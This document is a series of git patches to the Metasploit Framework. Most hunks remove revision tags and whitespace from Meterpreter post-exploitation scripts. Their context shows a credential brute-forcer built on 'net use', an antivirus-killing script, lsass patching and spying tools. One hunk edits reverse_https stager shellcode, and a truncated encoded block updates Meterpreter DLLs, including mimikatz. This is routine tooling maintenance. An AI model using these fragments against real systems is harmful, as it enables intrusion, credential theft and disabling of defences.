--- a/scripts/meterpreter/scraper.rb +++ b/scripts/meterpreter/scraper.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # This is a Meterpreter script designed to be used by the Metasploit Framework # # The goal of this script is to obtain system information from a victim through diff --git a/scripts/meterpreter/screen_unlock.rb b/scripts/meterpreter/screen_unlock.rb index c6e51123ce..2a4ca520e9 100644 --- a/scripts/meterpreter/screen_unlock.rb +++ b/scripts/meterpreter/screen_unlock.rb @@ -1,6 +1,4 @@ # -# $Id$ -# # Script to unlock a windows screen by L4teral # Needs system prvileges to run and known signatures for the target system. # This script patches msv1_0.dll loaded by lsass.exe diff --git a/scripts/meterpreter/screenspy.rb b/scripts/meterpreter/screenspy.rb index 86e841203c..4105efbc79 100644 --- a/scripts/meterpreter/screenspy.rb +++ b/scripts/meterpreter/screenspy.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author:Roni Bachar (@roni_bachar) roni.bachar.blog@gmail.com # # Thie script will open an interactive view of remote hosts diff --git a/scripts/meterpreter/search_dwld.rb b/scripts/meterpreter/search_dwld.rb index 9562457d46..05b39c3fe5 100644 --- a/scripts/meterpreter/search_dwld.rb +++ b/scripts/meterpreter/search_dwld.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ ## Meterpreter script that recursively search and download ## files matching a given pattern diff --git a/scripts/meterpreter/service_manager.rb b/scripts/meterpreter/service_manager.rb index c2c3fcd803..6022334a4c 100644 --- a/scripts/meterpreter/service_manager.rb +++ b/scripts/meterpreter/service_manager.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez [ false,"Help menu." ] ) diff --git a/scripts/meterpreter/virusscan_bypass.rb b/scripts/meterpreter/virusscan_bypass.rb index 33508b76e5..7943288655 100644 --- a/scripts/meterpreter/virusscan_bypass.rb +++ b/scripts/meterpreter/virusscan_bypass.rb @@ -1,6 +1,3 @@ -# $Id$ -# $Revision$ - # Meterpreter script that kills Mcafee VirusScan Enterprise v8.7.0i+ processes in magic # order which keeps VirusScan icon visible at system tray without disabled sign on it. # Additionally it lets you disable On Access Scanner from registry, upload your detectable diff --git a/scripts/meterpreter/vnc.rb b/scripts/meterpreter/vnc.rb index 9e9795b937..42b3ddb67f 100644 --- a/scripts/meterpreter/vnc.rb +++ b/scripts/meterpreter/vnc.rb @@ -1,6 +1,3 @@ -# $Id$ -# $Revision$ - # # Meterpreter script for obtaining a quick VNC session # diff --git a/scripts/meterpreter/webcam.rb b/scripts/meterpreter/webcam.rb index 5111081670..f6e65ba5d6 100644 --- a/scripts/meterpreter/webcam.rb +++ b/scripts/meterpreter/webcam.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: scriptjunkie # # Simplify running webcam, whether grabbing a single frame or running diff --git a/scripts/meterpreter/win32-sshclient.rb b/scripts/meterpreter/win32-sshclient.rb index 1ce149edc3..f8c97c6bd3 100644 --- a/scripts/meterpreter/win32-sshclient.rb +++ b/scripts/meterpreter/win32-sshclient.rb @@ -1,7 +1,3 @@ -# win32-sshclient.rb -# -# $Id$ -# $Revision$ # # Meterpreter script to deploy & run the "plink" commandline ssh-client # supports only MS-Windows-2k/XP/Vista Hosts @@ -154,7 +150,7 @@ downloaded = nil usage end rhost = val - + when "-f" if !val print_error("-f requires an argument !") @@ -166,14 +162,14 @@ downloaded = nil usage end manual = true - + when "-r" if !val print_error("-r requires an argument !") usage end hostkey = val - + when "-p" rport = val.to_i @@ -323,7 +319,7 @@ if not manual plinkexe = Net::HTTP.get URI.parse(plinkurl) File.open(plink, "wb") { |fd| fd.write(plinkexe) } print_status("plink.exe has been downloaded to #{plink} (local machine). Please remove manually after use or keep for reuse.") - downloaded = true + downloaded = true end end diff --git a/scripts/meterpreter/win32-sshserver.rb b/scripts/meterpreter/win32-sshserver.rb index 902b85d893..56232b6227 100644 --- a/scripts/meterpreter/win32-sshserver.rb +++ b/scripts/meterpreter/win32-sshserver.rb @@ -1,7 +1,3 @@ -# win32-sshserver.rb -# -# $Id$ -# $Revision$ # # meterpreter-script to deploy + run OpenSSH # on the target machine @@ -95,10 +91,10 @@ type = "auto" # @@exec_opts.parse(args) { |opt, idx, val| case opt - + when "-h" usage - + when "-f" if !val print_error("-f requires the SFX-filename as argument !") @@ -110,14 +106,14 @@ type = "auto" usage end manual = true - + when "-U" if !val print_error("-U requires the download-URL for the OpenSSH-SFX as argument !") usage end downloadurl = val - + when "-p" if !val print_error("-p requires the password (for the windows-user to add) as argument !") @@ -128,47 +124,47 @@ type = "auto" usage end password = val - + when "-u" if !val print_error("-u requires the username (for the windows-user to add) as argument!") usage end username = val - + when "-r" uninstall = true - + when "-I" if !val print_error("-I requires a directory-name to use as installpath") usage end dirname = val - + when "-F" forced = true - + when "-S" if !val print_error("-S requires s custom string to use as the service-description") usage end servicedesc = val - + when "-N" if !val print_error("-N requires a custom string to use as service-name") usage end servicename = val - + when "-m" noauto = true - + when "-t" type = manual - + else print_error("Unknown option: #{opt}") usage @@ -332,7 +328,7 @@ unless username == "none" print_error("You need to provide a nonempty password for the user with the \"-p\"-parameter!") usage end - + #Get localized name for windows-admin-grp admingrpname = nil client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkgroup.exe -l > #{dirname}\\groupnames.txt") diff --git a/scripts/meterpreter/winbf.rb b/scripts/meterpreter/winbf.rb index 3cc3ae5af3..abc351b7b7 100644 --- a/scripts/meterpreter/winbf.rb +++ b/scripts/meterpreter/winbf.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -85,7 +83,7 @@ def passbf(session,passlist,target,user,opt,logfile) ::File.open(passlist, "r").each_line do |line| begin print_status("Trying #{u.chomp} #{line.chomp}") - + # Command for testing local login credentials r = session.sys.process.execute("cmd /c net use \\\\#{target} #{line.chomp} /u:#{u.chomp}", nil, {'Hidden' => true, 'Channelized' => true}) while(d = r.channel.read) @@ -93,7 +91,7 @@ def passbf(session,passlist,target,user,opt,logfile) end r.channel.close r.close - + # Checks if password is found result = output.to_s.scan(/The\scommand\scompleted\ssuccessfully/) if result.length == 1 @@ -158,12 +156,12 @@ unsupported if client.platform !~ /win32|win64/i when "-L" userlist = val ulopt = 1 - + when "-cp" chkpolicy(session) exit when "-p" - + passlist = val if not ::File.exists?(passlist) raise "Password File does not exists!" @@ -176,7 +174,7 @@ unsupported if client.platform !~ /win32|win64/i @@exec_opts.usage) helpcall = 1 end - + } # Execution of options selected diff --git a/scripts/meterpreter/winenum.rb b/scripts/meterpreter/winenum.rb index 047f04cc33..d43c35c8e6 100644 --- a/scripts/meterpreter/winenum.rb +++ b/scripts/meterpreter/winenum.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -170,7 +168,7 @@ def findprogs() end end end - + file_local_write("#{@logfol}/programs_list.csv",proglist) end # Function to check if Target Machine a VM @@ -555,7 +553,7 @@ def uaccheck() else print_status("\tUAC is Disabled") end - + return uac end diff --git a/scripts/meterpreter/wmic.rb b/scripts/meterpreter/wmic.rb index b91b553545..d01bc01d57 100644 --- a/scripts/meterpreter/wmic.rb +++ b/scripts/meterpreter/wmic.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ #Meterpreter script for running WMIC commands on Windows 2003, Windows Vista # and Windows XP and Windows 2008 targets. #Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com diff --git a/scripts/shell/migrate.rb b/scripts/shell/migrate.rb index 327fef8a3a..c44c7780f9 100644 --- a/scripts/shell/migrate.rb +++ b/scripts/shell/migrate.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # # Simply print a message that migrating is not supported on CommandShell sessions... # diff --git a/scripts/shell/spawn_meterpreter.rb b/scripts/shell/spawn_meterpreter.rb index e6fa404769..b7b3c11b55 100644 --- a/scripts/shell/spawn_meterpreter.rb +++ b/scripts/shell/spawn_meterpreter.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # # Spawn a meterpreter session using an existing command shell session # From 97d3a20f82b8469b590d4c2302c3ded66b69c8a1 Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 17 Sep 2013 10:46:10 -0500 Subject: [PATCH 158/160] Remove more $Revision tags --- lib/msf/core/exploit/omelet.rb | 2 -- lib/msf/core/payload/osx/bundleinject.rb | 1 - lib/msf/core/payload/windows/dllinject.rb | 1 - lib/msf/core/payload/windows/exec.rb | 1 - lib/msf/core/payload/windows/loadlibrary.rb | 1 - lib/msf/core/payload/windows/reflectivedllinject.rb | 1 - lib/msf/core/payload/windows/x64/reflectivedllinject.rb | 1 - scripts/meterpreter/enum_putty.rb | 1 - scripts/meterpreter/screen_unlock.rb | 2 -- scripts/meterpreter/service_permissions_escalate.rb | 1 - 10 files changed, 12 deletions(-) diff --git a/lib/msf/core/exploit/omelet.rb b/lib/msf/core/exploit/omelet.rb index e5945812a6..9496749ed2 100644 --- a/lib/msf/core/exploit/omelet.rb +++ b/lib/msf/core/exploit/omelet.rb @@ -11,8 +11,6 @@ module Msf # # written by corelanc0d3r # -# Version: $Revision$ -# ### module Exploit::Omelet diff --git a/lib/msf/core/payload/osx/bundleinject.rb b/lib/msf/core/payload/osx/bundleinject.rb index d327374ea3..a104b91c3f 100644 --- a/lib/msf/core/payload/osx/bundleinject.rb +++ b/lib/msf/core/payload/osx/bundleinject.rb @@ -14,7 +14,6 @@ module Payload::Osx::BundleInject def initialize(info = {}) super(update_info(info, 'Name' => 'Mac OS X Inject Mach-O Bundle', - 'Version' => '$Revision$', 'Description' => 'Inject a custom Mach-O bundle into the exploited process', 'Author' => [ diff --git a/lib/msf/core/payload/windows/dllinject.rb b/lib/msf/core/payload/windows/dllinject.rb index 99d193adf4..fc9a7e2908 100644 --- a/lib/msf/core/payload/windows/dllinject.rb +++ b/lib/msf/core/payload/windows/dllinject.rb @@ -16,7 +16,6 @@ module Payload::Windows::DllInject def initialize(info = {}) super(update_info(info, 'Name' => 'Windows Inject DLL', - 'Version' => '$Revision$', 'Description' => 'Inject a custom DLL into the exploited process', 'Author' => [ diff --git a/lib/msf/core/payload/windows/exec.rb b/lib/msf/core/payload/windows/exec.rb index 5e3f9b510a..8f3cc6d73d 100644 --- a/lib/msf/core/payload/windows/exec.rb +++ b/lib/msf/core/payload/windows/exec.rb @@ -16,7 +16,6 @@ module Payload::Windows::Exec def initialize(info = {}) super(update_info(info, 'Name' => 'Windows Execute Command', - 'Version' => '$Revision$', 'Description' => 'Execute an arbitrary command', 'Author' => [ 'vlad902', 'sf' ], 'License' => MSF_LICENSE, diff --git a/lib/msf/core/payload/windows/loadlibrary.rb b/lib/msf/core/payload/windows/loadlibrary.rb index dc128e3d18..74ada40e56 100644 --- a/lib/msf/core/payload/windows/loadlibrary.rb +++ b/lib/msf/core/payload/windows/loadlibrary.rb @@ -16,7 +16,6 @@ module Payload::Windows::LoadLibrary def initialize(info = {}) super(update_info(info, 'Name' => 'Windows LoadLibrary Path', - 'Version' => '$Revision$', 'Description' => 'Load an arbitrary library path', 'Author' => [ 'sf', 'hdm' ], 'License' => MSF_LICENSE, diff --git a/lib/msf/core/payload/windows/reflectivedllinject.rb b/lib/msf/core/payload/windows/reflectivedllinject.rb index c0e2db1950..cf56ecdfa2 100644 --- a/lib/msf/core/payload/windows/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/reflectivedllinject.rb @@ -20,7 +20,6 @@ module Payload::Windows::ReflectiveDllInject def initialize(info = {}) super(update_info(info, 'Name' => 'Reflective DLL Injection', - 'Version' => '$Revision$', 'Description' => 'Inject a DLL via a reflective loader', 'Author' => [ 'sf' ], 'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ], diff --git a/lib/msf/core/payload/windows/x64/reflectivedllinject.rb b/lib/msf/core/payload/windows/x64/reflectivedllinject.rb index 3e37820d7d..292d63a87f 100644 --- a/lib/msf/core/payload/windows/x64/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/x64/reflectivedllinject.rb @@ -20,7 +20,6 @@ module Payload::Windows::ReflectiveDllInject_x64 def initialize(info = {}) super(update_info(info, 'Name' => 'Reflective DLL Injection', - 'Version' => '$Revision$', 'Description' => 'Inject a DLL via a reflective loader', 'Author' => [ 'sf' ], 'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ], diff --git a/scripts/meterpreter/enum_putty.rb b/scripts/meterpreter/enum_putty.rb index a46fc99942..886dac8eed 100644 --- a/scripts/meterpreter/enum_putty.rb +++ b/scripts/meterpreter/enum_putty.rb @@ -2,7 +2,6 @@ # Meterpreter script for enumerating putty connections # Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com # -# $Revision$ @client = client #Options and Option Parsing opts = Rex::Parser::Arguments.new( diff --git a/scripts/meterpreter/screen_unlock.rb b/scripts/meterpreter/screen_unlock.rb index 2a4ca520e9..20827248aa 100644 --- a/scripts/meterpreter/screen_unlock.rb +++ b/scripts/meterpreter/screen_unlock.rb @@ -5,8 +5,6 @@ # # Based on the winlockpwn tool released by Metlstorm: http://www.storm.net.nz/projects/16 # -# $Revision$ -# revert = false targets = [ diff --git a/scripts/meterpreter/service_permissions_escalate.rb b/scripts/meterpreter/service_permissions_escalate.rb index 8941f033d1..1ee4f22d5a 100644 --- a/scripts/meterpreter/service_permissions_escalate.rb +++ b/scripts/meterpreter/service_permissions_escalate.rb @@ -9,7 +9,6 @@ # # scriptjunkie googlemail com # -# $Revision$ ## if client.platform !~ /win32/ From 6bf0d9b761ba1e5c60e043f81dd2e037bd37b510 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 17 Sep 2013 21:45:27 +0100 Subject: [PATCH 159/160] Cleanup --- modules/payloads/stagers/windows/x64/reverse_https.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb index 839ea0794d..67ac7acfd5 100644 --- a/modules/payloads/stagers/windows/x64/reverse_https.rb +++ b/modules/payloads/stagers/windows/x64/reverse_https.rb @@ -22,7 +22,7 @@ module Metasploit3 'Author' => [ 'hdm', # original 32-bit implementation 'agix', # x64 rewrite - 'rwincey' # x64 fixup + 'rwincey' # x64 alignment fix ], 'License' => MSF_LICENSE, 'Platform' => 'win', @@ -86,7 +86,7 @@ module Metasploit3 "\x48\x89\xF1\x48\x89\xDA\x49\xB8\x00\x20\x00\x00\x00\x00\x00\x00" + "\x49\x89\xF9\x49\xBA\x12\x96\x89\xE2\x00\x00\x00\x00\xFF\xD5\x48" + "\x83\xC4\x20\x85\xC0\x74\x99\x48\x8B\x07\x48\x01\xC3\x48\x85\xC0" + - "\x75\xCE\x58\x58\xC3" + + "\x75\xCE\x58\x58\xC3" + "\xE8\xD7\xFE\xFF\xFF" #updated jump offset } )) From dc9246a7702bd6ae4af8a8ed621df879a9a07669 Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 17 Sep 2013 18:11:13 -0500 Subject: [PATCH 160/160] New compiled bins for shiny vs2012 build * Fixes x64 sniffer [FixRM #8364] --- data/meterpreter/elevator.x64.dll | Bin 57344 -> 77312 bytes data/meterpreter/elevator.x86.dll | Bin 51712 -> 68608 bytes data/meterpreter/ext_server_espia.x64.dll | Bin 190976 -> 202752 bytes data/meterpreter/ext_server_espia.x86.dll | Bin 162304 -> 204800 bytes data/meterpreter/ext_server_incognito.x64.dll | Bin 72192 -> 90112 bytes data/meterpreter/ext_server_incognito.x86.dll | Bin 64000 -> 75776 bytes .../meterpreter/ext_server_lanattacks.x64.dll | Bin 196096 -> 228352 bytes .../meterpreter/ext_server_lanattacks.x86.dll | Bin 153600 -> 186368 bytes data/meterpreter/ext_server_mimikatz.x64.dll | Bin 516096 -> 545792 bytes data/meterpreter/ext_server_mimikatz.x86.dll | Bin 374784 -> 414208 bytes data/meterpreter/ext_server_priv.x64.dll | Bin 102400 -> 121344 bytes data/meterpreter/ext_server_priv.x86.dll | Bin 91136 -> 105984 bytes data/meterpreter/ext_server_sniffer.x64.dll | Bin 391680 -> 432128 bytes data/meterpreter/ext_server_sniffer.x86.dll | Bin 378880 -> 432128 bytes data/meterpreter/ext_server_stdapi.x64.dll | Bin 386560 -> 398848 bytes data/meterpreter/ext_server_stdapi.x86.dll | Bin 328704 -> 372736 bytes data/meterpreter/metsrv.x64.dll | Bin 951808 -> 970240 bytes data/meterpreter/metsrv.x86.dll | Bin 752128 -> 770048 bytes data/meterpreter/screenshot.x64.dll | Bin 186368 -> 202240 bytes data/meterpreter/screenshot.x86.dll | Bin 158208 -> 203776 bytes 20 files changed, 0 insertions(+), 0 deletions(-) diff --git a/data/meterpreter/elevator.x64.dll b/data/meterpreter/elevator.x64.dll index 934608d715ed220c6504ca03294321e203ca9d36..946f2cfd5160bf9baae92f96d668e58f124445b9 100755 GIT binary patch literal 77312 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 